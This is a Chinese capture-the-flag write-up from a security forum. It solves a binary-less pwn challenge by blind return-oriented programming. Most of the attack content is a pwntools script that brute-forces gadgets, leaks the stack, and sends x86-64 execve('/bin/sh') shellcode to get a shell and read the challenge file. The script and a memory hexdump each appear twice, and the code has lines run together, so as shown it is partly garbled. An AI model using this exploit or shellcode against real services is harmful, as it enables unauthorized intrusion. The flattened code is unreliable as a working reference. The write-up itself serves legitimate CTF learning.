-
-
[原创]废土末世 WP
-
发表于: 2022-5-20 20:23 8700
-
作为一道没有附件的pwn题,选手所有的信息都只能通过与服务器的交互获取,对于出题方的服务器压力应该还是比较大的。不过这次看雪给每个选手提供了一个独立的docker,相比以前有很大提升,有了一个不错的做题体验。
首先在百度上搜索ctf BROP,了解一下BROP的基本知识和做题方法,发现PWN学习总结(七)—— BROP这篇文章不错。参照上面的方法,可以获取栈溢出长度为16,STOP GADGETS为0x4000B0,同时也可以探测到溢出函数的返回地址应该是0x4000CE。可以发现这两个地址距离默认基址0x400000都特别近,初步判断目标程序应该特别简小精悍。
下一步想参照文章里说的搜索BROP GADGETS,但是没有任何结果,于是逐步放宽搜索条件,从6个pop加ret改为5个、4个、3个,发现在合理范围内居然都没搜索到。但是在0x4000F5,0x4000FA,0x4000FB,0x4000FD,0x4000FE,0x400100,0x400102搜索到2个pop加ret,0x400101,0x400106搜索到一个ret(即0xC3)。很明显0x400101和0x400106之间的距离不太像是两个函数的ret,所以我们最终只发现了一个函数的ret。但作为栈溢出题,特别是溢出函数后面需要打印"TNT TNT!\n"字符串,证明这个程序里至少包含主程序和溢出函数两段代码,主程序可以不用ret,但是子函数必须有,所以可以推定0x400106为子函数代码段的结尾。同时由于没有搜索到单个pop加ret的代码,所以子函数平衡堆栈的方式应该是直接修改rsp寄存器,因此得到0x400102处代码为add rsp,10h。
通过设置返回地址的方式仔细搜索0x4000CE至0x400102的内存,发现当地址为0x4000EC,0x4000ED,0x4000EE,0x4000EF,0x4000F2,0x4000F3时虽然也没有任何输出信息,但是返回速度特别慢,通过反复测试发现应该是服务器正在等待输入,当地址设置为0x4000EC时在输入后甚至还返回了一段奇怪的字符。
通过比对本地程序的运行内存状态,可以发现输出内容就是目标程序的当前栈。其中0x4000b0作为entry point也得到了确认。但是这段内存既没有libc的地址,本该是ld地址的地方也被设置成了0。因此也没有办法通过跳转到程序外进行探测。这段内存里leak的唯一有用信息就是stack地址,而且通过0x188处的指针应该指向0x1b9处的“x86_64”可以完全确定当前0x00处对应的内存地址。
确定栈的地址后,我们就可以将返回地址设置到栈上的任意地方,考虑到这个程序实在太短,很难设置太复杂的get shell方式;同时考虑到这个程序既然连栈溢出这么简单的漏洞都有,那么加上一个栈上可执行应该不算太过分。
在简单的验证了mov rax,0x4000B0;jmp rax可以执行后,就开始了漫长的找shellcode之旅。本以为这样的shellcode百度上到处都是,没想到不是32位的就是windows的,或者是各种异型编程或者是编译不通过,一直就用不了。只好重新学习了一下linux下64位的系统调用原理,自己按照说明老老实实写了一个。
下面附上获取tnt文件的代码,最后发现获取的整个文件居然只有1104字节,可以说设计得非常精妙:
00000000 61 23 23 23 23 23 23 23 ec 00 40 00 00 00 00 00 │a###│####│··@·│····│
00000010 ec 00 40 00 00 00 00 00 36 bf d8 8e ff 7f 00 00 │··@·│····│6···│····│
00000020 00 00 00 00 00 00 00 00 3c bf d8 8e ff 7f 00 00 │····│····│<···│····│
00000030 52 bf d8 8e ff 7f 00 00 5d bf d8 8e ff 7f 00 00 │R···│····│]···│····│
00000040 9f bf d8 8e ff 7f 00 00 [ad bf d8 8e ff 7f 00 00] │····│····│····│····│stack
00000050 [dd bf d8 8e ff 7f 00 00] 00 00 00 00 00 00 00 00 │····│····│····│····│stack
00000060 21 00 00 00 00 00 00 00 [00 80 dd 8e ff 7f 00 00] │!···│····│····│····│vvar
00000070 10 00 00 00 00 00 00 00 ff fb ab 0f 00 00 00 00 │····│····│····│····│
00000080 06 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 │····│····│····│····│
00000090 11 00 00 00 00 00 00 00 64 00 00 00 00 00 00 00 │····│····│d···│····│
000000a0 03 00 00 00 00 00 00 00 40 00 40 00 00 00 00 00 │····│····│@·@·│····│
000000b0 04 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 │····│····│8···│····│
000000c0 05 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 │····│····│····│····│
000000d0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000000e0 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000000f0 09 00 00 00 00 00 00 00 [b0 00 40 00] 00 00 00 00 │····│····│··@·│····│entry point
00000100 0b 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│
00000110 0c 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│
00000120 0d 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│
00000130 0e 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│
00000140 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000150 19 00 00 00 00 00 00 00 [c9 a0 d8 8e ff 7f 00 00] │····│····│····│····│stack
00000160 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000170 1f 00 00 00 00 00 00 00 f2 bf d8 8e ff 7f 00 00 │····│····│····│····│
00000180 0f 00 00 00 00 00 00 00 d9 a0 d8 8e ff 7f 00 00 │····│····│····│····│
00000190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000001a0 00 00 00 00 00 00 00 00 00 a8 74 8e 80 3d 82 7c │····│····│··t·│·=·|│
000001b0 d3 d8 b4 ba 0a dd bb 41 a1 78 38 36 5f 36 34 00 │····│···A│·x86│_64·│
000001c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000000 61 23 23 23 23 23 23 23 ec 00 40 00 00 00 00 00 │a###│####│··@·│····│
00000010 ec 00 40 00 00 00 00 00 36 bf d8 8e ff 7f 00 00 │··@·│····│6···│····│
00000020 00 00 00 00 00 00 00 00 3c bf d8 8e ff 7f 00 00 │····│····│<···│····│
00000030 52 bf d8 8e ff 7f 00 00 5d bf d8 8e ff 7f 00 00 │R···│····│]···│····│
00000040 9f bf d8 8e ff 7f 00 00 [ad bf d8 8e ff 7f 00 00] │····│····│····│····│stack
00000050 [dd bf d8 8e ff 7f 00 00] 00 00 00 00 00 00 00 00 │····│····│····│····│stack
00000060 21 00 00 00 00 00 00 00 [00 80 dd 8e ff 7f 00 00] │!···│····│····│····│vvar
00000070 10 00 00 00 00 00 00 00 ff fb ab 0f 00 00 00 00 │····│····│····│····│
00000080 06 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 │····│····│····│····│
00000090 11 00 00 00 00 00 00 00 64 00 00 00 00 00 00 00 │····│····│d···│····│
000000a0 03 00 00 00 00 00 00 00 40 00 40 00 00 00 00 00 │····│····│@·@·│····│
000000b0 04 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 │····│····│8···│····│
000000c0 05 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 │····│····│····│····│
000000d0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000000e0 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000000f0 09 00 00 00 00 00 00 00 [b0 00 40 00] 00 00 00 00 │····│····│··@·│····│entry point
00000100 0b 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│
00000110 0c 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│
00000120 0d 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│
00000130 0e 00 00 00 00 00 00 00 e8 03 00 00 00 00 00 00 │····│····│····│····│
00000140 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000150 19 00 00 00 00 00 00 00 [c9 a0 d8 8e ff 7f 00 00] │····│····│····│····│stack
00000160 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000170 1f 00 00 00 00 00 00 00 f2 bf d8 8e ff 7f 00 00 │····│····│····│····│
00000180 0f 00 00 00 00 00 00 00 d9 a0 d8 8e ff 7f 00 00 │····│····│····│····│
00000190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000001a0 00 00 00 00 00 00 00 00 00 a8 74 8e 80 3d 82 7c │····│····│··t·│·=·|│
000001b0 d3 d8 b4 ba 0a dd bb 41 a1 78 38 36 5f 36 34 00 │····│···A│·x86│_64·│
000001c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
#-*- coding: utf-8 -*-from pwn import *
#from LibcSearcher import LibcSearchercontext.log_level = 'debug'
#context.arch = 'i386'/'amd64'ip = "127.0.0.1"
port = 10062
buf_length = 16
def GetBropGadgets(buf_length, stop_gadgets, address):
try:
sh = remote(ip, port)
sh.recvuntil("hacker, TNT!\n")
#寻找 pop_rbx_rbp_r12_r13_r14_r15_ret
payload = 'a'*buf_length + p64(address) + p64(0)*1 + p64(stop_gadgets)
sh.send(payload)
output = sh.recv(timeout=1)
sh.close()
if not output.startswith('hacker, TNT!'):
return False
return True
except Exception:
sh.close()
return False
def check(buf_length, address):
try:
sh = remote(ip, port)
sh.recvuntil("hacker, TNT!\n")
payload = 'a'*buf_length + p64(address) + p64(0)*2
sh.send(payload)
output = sh.recv(timeout=1)
sh.close()
return False
except Exception:
sh.close()
return True
def GetStopAddr():
address = 0x4000b0
while 1:
print(hex(address))
try:
sh = remote(ip, port)
sh.recvuntil("hacker, TNT!\n")
payload = 'a'*buf_length + p64(address)
sh.send(payload)
output = sh.recv()
#未成功返回到main函数头部开始执行
if not output.startswith('hacker, TNT!'):
sh.close()
address += 1
else:
return address
#触发栈溢出异常
except EOFError:
address += 1
sh.close()
shellcode = ''' /* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///shx00' */
mov rax,0x0068732F6E69622F
push rax
mov rdi, rsp
mov rax, 0x3b
xor rsi,rsi
xor rdx,rdx
syscall'''
shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
sh = remote(ip, port)
sh.recvuntil("hacker, TNT!\n")
#payload = 'A'*buf_length + p64(0x4000ec) + p64(0x4000ec) + p64(0x4000B0) * 1 + p64(0x004000CEC0C74890) + p64(0x909090E0FF909090)# + 'b' * 8# + p64(0) + p64(0) + p64(0x4000B0)payload = 'A'*buf_length + p64(0x4000ec) + p64(0x4000ec) + p64(0x4000B0) * 1 + shellcode
sh.send(payload)sleep(2)
sh.send('A')
sh.recv(0x188)
addr = u64(sh.recv(8)) - 0x1B9
print hex(addr)
#sh.recvuntil("hacker, TNT!\n")#payload = '#'*buf_length + p64(addr)#payload = 'B'*buf_length + p64(0x4000B0)payload = 'B'*buf_length + p64(addr + 0x20)
sh.send(payload)#sh.send(payload)#raw_input("Enter your input: ")#sh.send(p64(0x4000ec))#sleep(1)#sh.send(p64(0x4000ec))sh.sendline("ls -l")
sh.recvuntil("tnt\n")
sh.sendline("cat tnt")
p = sh.recv()
file_handle=open('/home/ctf/下载/tnt',mode='wb')
file_handle.write(p)file_handle.close()sh.interactive()'''print sh.recv()sh.close()buf_length = 16address = 0x400000stop_gadgets = 0x4000B0#stop_gadgets = GetStopAddr()print('stop gadgets = 0x%x' % stop_gadgets)while 1: print(hex(address))
if GetBropGadgets(buf_length, stop_gadgets, address):
print('possible brop gadget: 0x%x' % address)
if check(buf_length, address):
print('success brop gadget: 0x%x' % address)
break
address += 1
'''#-*- coding: utf-8 -*-from pwn import *
#from LibcSearcher import LibcSearchercontext.log_level = 'debug'
#context.arch = 'i386'/'amd64'ip = "127.0.0.1"
port = 10062
buf_length = 16
def GetBropGadgets(buf_length, stop_gadgets, address):
try:
sh = remote(ip, port)
sh.recvuntil("hacker, TNT!\n")
#寻找 pop_rbx_rbp_r12_r13_r14_r15_ret
payload = 'a'*buf_length + p64(address) + p64(0)*1 + p64(stop_gadgets)
sh.send(payload)
output = sh.recv(timeout=1)
sh.close()
if not output.startswith('hacker, TNT!'):
return False
return True
except Exception:
sh.close()
return False
def check(buf_length, address):
try:
sh = remote(ip, port)
sh.recvuntil("hacker, TNT!\n")
payload = 'a'*buf_length + p64(address) + p64(0)*2
sh.send(payload)
output = sh.recv(timeout=1)
sh.close()
return False
except Exception:
sh.close()
return True
def GetStopAddr():
address = 0x4000b0
while 1:
print(hex(address))
try:
sh = remote(ip, port)
[培训]传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
- [原创]第十二题 深入内核 4535
- [原创]第十一题 步步逼近 4987
- [原创]第八题 AI核心地带 3867
- [原创] 第七题 智能联盟计划 4050
- 第六题 至暗时刻 14418